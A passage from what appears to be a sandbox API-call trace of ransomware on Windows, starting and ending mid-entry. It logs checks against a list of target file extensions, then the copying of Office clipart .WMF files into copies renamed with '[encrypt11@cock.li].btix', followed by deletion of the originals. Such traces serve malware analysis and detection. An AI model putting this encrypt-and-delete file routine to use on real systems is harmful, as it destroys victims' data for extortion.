(lpString=".ppt") returned 4 [0145.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.482] lstrlenW (lpString=".zip") returned 4 [0145.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.482] lstrlenW (lpString=".rar") returned 4 [0145.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.482] lstrlenW (lpString=".bz2") returned 4 [0145.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.482] lstrlenW (lpString=".7z") returned 3 [0145.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.482] lstrlenW (lpString=".dbf") returned 4 [0145.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.482] lstrlenW (lpString=".1cd") returned 4 [0145.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0145.482] lstrlenW (lpString=".jpg") returned 4 [0145.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.482] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4136) returned 1 [0145.482] CloseHandle (hObject=0x3b0) returned 1 [0145.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0145.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.483] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.483] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0145.484] GetLastError () returned 0x0 [0145.484] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x1028, lpOverlapped=0x0) returned 1 [0145.498] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x1030, lpOverlapped=0x0) returned 1 [0145.499] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.499] WriteFile (in: hFile=0x508, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.499] SetEndOfFile (hFile=0x508) returned 1 [0145.499] CloseHandle (hObject=0x508) returned 1 [0145.499] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.499] SetEndOfFile (hFile=0x3b0) returned 1 [0145.501] CloseHandle (hObject=0x3b0) returned 1 [0145.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0145.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.502] lstrlenW (lpString=".doc") returned 4 [0145.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.502] lstrlenW (lpString=".docx") returned 5 [0145.502] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.502] lstrlenW (lpString=".pdf") returned 4 [0145.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.502] lstrlenW (lpString=".xls") returned 4 [0145.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.502] lstrlenW (lpString=".xlsx") returned 5 [0145.502] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.502] lstrlenW (lpString=".ppt") returned 4 [0145.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.503] lstrlenW (lpString=".zip") returned 4 [0145.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.503] lstrlenW (lpString=".rar") returned 4 [0145.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.503] lstrlenW (lpString=".bz2") returned 4 [0145.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.503] lstrlenW (lpString=".7z") returned 3 [0145.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.503] lstrlenW (lpString=".dbf") returned 4 [0145.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.503] lstrlenW (lpString=".1cd") returned 4 [0145.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0145.503] lstrlenW (lpString=".jpg") returned 4 [0145.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.503] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=15888) returned 1 [0145.503] CloseHandle (hObject=0x3b0) returned 1 [0145.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0145.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.504] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.504] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.674] GetLastError () returned 0x0 [0145.674] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0145.736] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0145.738] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.738] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.738] SetEndOfFile (hFile=0x338) returned 1 [0145.738] CloseHandle (hObject=0x338) returned 1 [0145.738] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.738] SetEndOfFile (hFile=0x3b0) returned 1 [0145.741] CloseHandle (hObject=0x3b0) returned 1 [0145.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0145.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.744] lstrlenW (lpString=".doc") returned 4 [0145.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.744] lstrlenW (lpString=".docx") returned 5 [0145.744] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.744] lstrlenW (lpString=".pdf") returned 4 [0145.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.744] lstrlenW (lpString=".xls") returned 4 [0145.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.744] lstrlenW (lpString=".xlsx") returned 5 [0145.744] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.744] lstrlenW (lpString=".ppt") returned 4 [0145.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.744] lstrlenW (lpString=".zip") returned 4 [0145.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.745] lstrlenW (lpString=".rar") returned 4 [0145.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.745] lstrlenW (lpString=".bz2") returned 4 [0145.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.745] lstrlenW (lpString=".7z") returned 3 [0145.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.745] lstrlenW (lpString=".dbf") returned 4 [0145.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.745] lstrlenW (lpString=".1cd") returned 4 [0145.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0145.745] lstrlenW (lpString=".jpg") returned 4 [0145.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.746] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10852) returned 1 [0145.746] CloseHandle (hObject=0x3b0) returned 1 [0145.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0145.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.747] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.747] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.747] GetLastError () returned 0x0 [0145.747] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0145.760] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0145.761] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.761] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.761] SetEndOfFile (hFile=0x338) returned 1 [0145.761] CloseHandle (hObject=0x338) returned 1 [0145.761] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.761] SetEndOfFile (hFile=0x3b0) returned 1 [0145.763] CloseHandle (hObject=0x3b0) returned 1 [0145.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0145.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.765] lstrlenW (lpString=".doc") returned 4 [0145.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.765] lstrlenW (lpString=".docx") returned 5 [0145.765] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0145.765] lstrlenW (lpString=".pdf") returned 4 [0145.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.765] lstrlenW (lpString=".xls") returned 4 [0145.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.765] lstrlenW (lpString=".xlsx") returned 5 [0145.765] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0145.765] lstrlenW (lpString=".ppt") returned 4 [0145.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.765] lstrlenW (lpString=".zip") returned 4 [0145.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.765] lstrlenW (lpString=".rar") returned 4 [0145.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.765] lstrlenW (lpString=".bz2") returned 4 [0145.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.765] lstrlenW (lpString=".7z") returned 3 [0145.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.765] lstrlenW (lpString=".dbf") returned 4 [0145.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.766] lstrlenW (lpString=".1cd") returned 4 [0145.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0145.766] lstrlenW (lpString=".jpg") returned 4 [0145.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.766] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11288) returned 1 [0145.766] CloseHandle (hObject=0x3b0) returned 1 [0145.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0145.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.767] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.767] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.768] GetLastError () returned 0x0 [0145.768] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x2c18, lpOverlapped=0x0) returned 1 [0145.769] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x2c20, lpOverlapped=0x0) returned 1 [0145.770] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.770] WriteFile (in: hFile=0x338, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.770] SetEndOfFile (hFile=0x338) returned 1 [0145.771] CloseHandle (hObject=0x338) returned 1 [0145.771] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.771] SetEndOfFile (hFile=0x3b0) returned 1 [0145.773] CloseHandle (hObject=0x3b0) returned 1 [0145.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1 [0145.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString=".doc") returned 4 [0145.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString=".docx") returned 5 [0145.775] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0145.775] lstrlenW (lpString=".pdf") returned 4 [0145.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString=".xls") returned 4 [0145.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.775] lstrlenW (lpString=".xlsx") returned 5 [0145.775] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0145.775] lstrlenW (lpString=".ppt") returned 4 [0145.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString=".zip") returned 4 [0145.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.775] lstrlenW (lpString=".rar") returned 4 [0145.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString=".bz2") returned 4 [0145.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString=".7z") returned 3 [0145.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString=".dbf") returned 4 [0145.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString=".1cd") returned 4 [0145.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68 [0145.775] lstrlenW (lpString=".jpg") returned 4 [0145.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.776] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6532) returned 1 [0145.776] CloseHandle (hObject=0x3b0) returned 1 [0145.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0145.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0145.777] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.777] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 